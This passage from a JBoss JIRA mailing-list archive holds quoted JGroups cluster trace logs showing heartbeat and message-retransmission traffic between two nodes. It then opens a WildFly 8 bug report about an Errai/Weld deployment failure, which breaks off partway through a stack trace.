> other:  [OM1:1299#10, OM2:1299#6]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 276 ms) [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,092 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:04,092 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stability msg [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (Timer-5,<ADDR>) sending OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#11, OM2:1299#6]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) received stable digest OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 0 from OM2:1299
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 6 from OM1:1299
> 2013-08-30 09:50:05,902 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:05,902 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:05,902 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [FD] (OOB-20,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (Incoming-13,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:08,897 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:08,897 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (Timer-3,<ADDR>) sending OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:13,702 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:13,702 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:15,917 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#12
> 2013-08-30 09:50:18,320 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:18,507 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:18,507 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:23,312 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:23,312 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 DEBUG [FD] (Timer-5,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:25,932 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM2:1299 (4 headers), size=391 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=11, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM2:1299#13
> 2013-08-30 09:50:28,116 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:28,116 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:32,921 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:32,921 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:35,948 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:37,726 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:37,726 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:42,531 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:42,531 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (Incoming-10,null) OM1:1299: received OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [MFC] (Incoming-10,null) OM1:1299 used 354 credits, 1997829 remaining
> 2013-08-30 09:50:44,824 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:44,824 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#14
> 2013-08-30 09:50:44,824 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 09:08:03 2013
From: jira-events at lists.jboss.org (Emmanuel Bernard (JIRA))
Date: Tue, 3 Sep 2013 09:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1992) Invalid deployment in WildFly
 8 - Errai, Weld, TicketMonster
In-Reply-To: <JIRA.12499827.1378213572694@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499827.1378213572694@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499827.1378213572694.5916.1378213683430@jira02.app.mwc.hst.phx2.redhat.com>

Emmanuel Bernard created WFLY-1992:
--------------------------------------

             Summary: Invalid deployment in WildFly 8 - Errai, Weld, TicketMonster
                 Key: WFLY-1992
                 URL: https://issues.jboss.org/browse/WFLY-1992
             Project: WildFly
          Issue Type: Bug
            Reporter: Emmanuel Bernard


I am deploying TicketMonster which includes Errai and receives a deployment error that is not happening in JBoss AS 7.x nor EAP 6.x.

Note that it could be

- a WildFly error per se
- a Weld error or change
- an Errai error

I am opening the issue here to track the problem down to its cause.

{code}
15:00:17,818 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (MSC service thread 1-5) starting errai cdi ...
15:00:18,731 INFO  [org.jboss.errai.reflections.Reflections] (Thread-106) Reflections took 346 ms to scan 7 urls, producing 387 keys and 1384 values [using 2 cores]
15:00:18,815 WARN  [org.jboss.weld.Bean] (MSC service thread 1-5) WELD-001529 An InjectionTarget is created for a class org.jboss.errai.bus.server.service.ErraiServiceImpl which does not have any appropriate constructor.
15:00:18,828 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (pool-20-thread-1) all services registered successfully
15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-2) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.ErraiServiceBean at 7adf1c57 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-3) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.MessageBusBean at 19b6b8f5 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
15:00:18,945 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
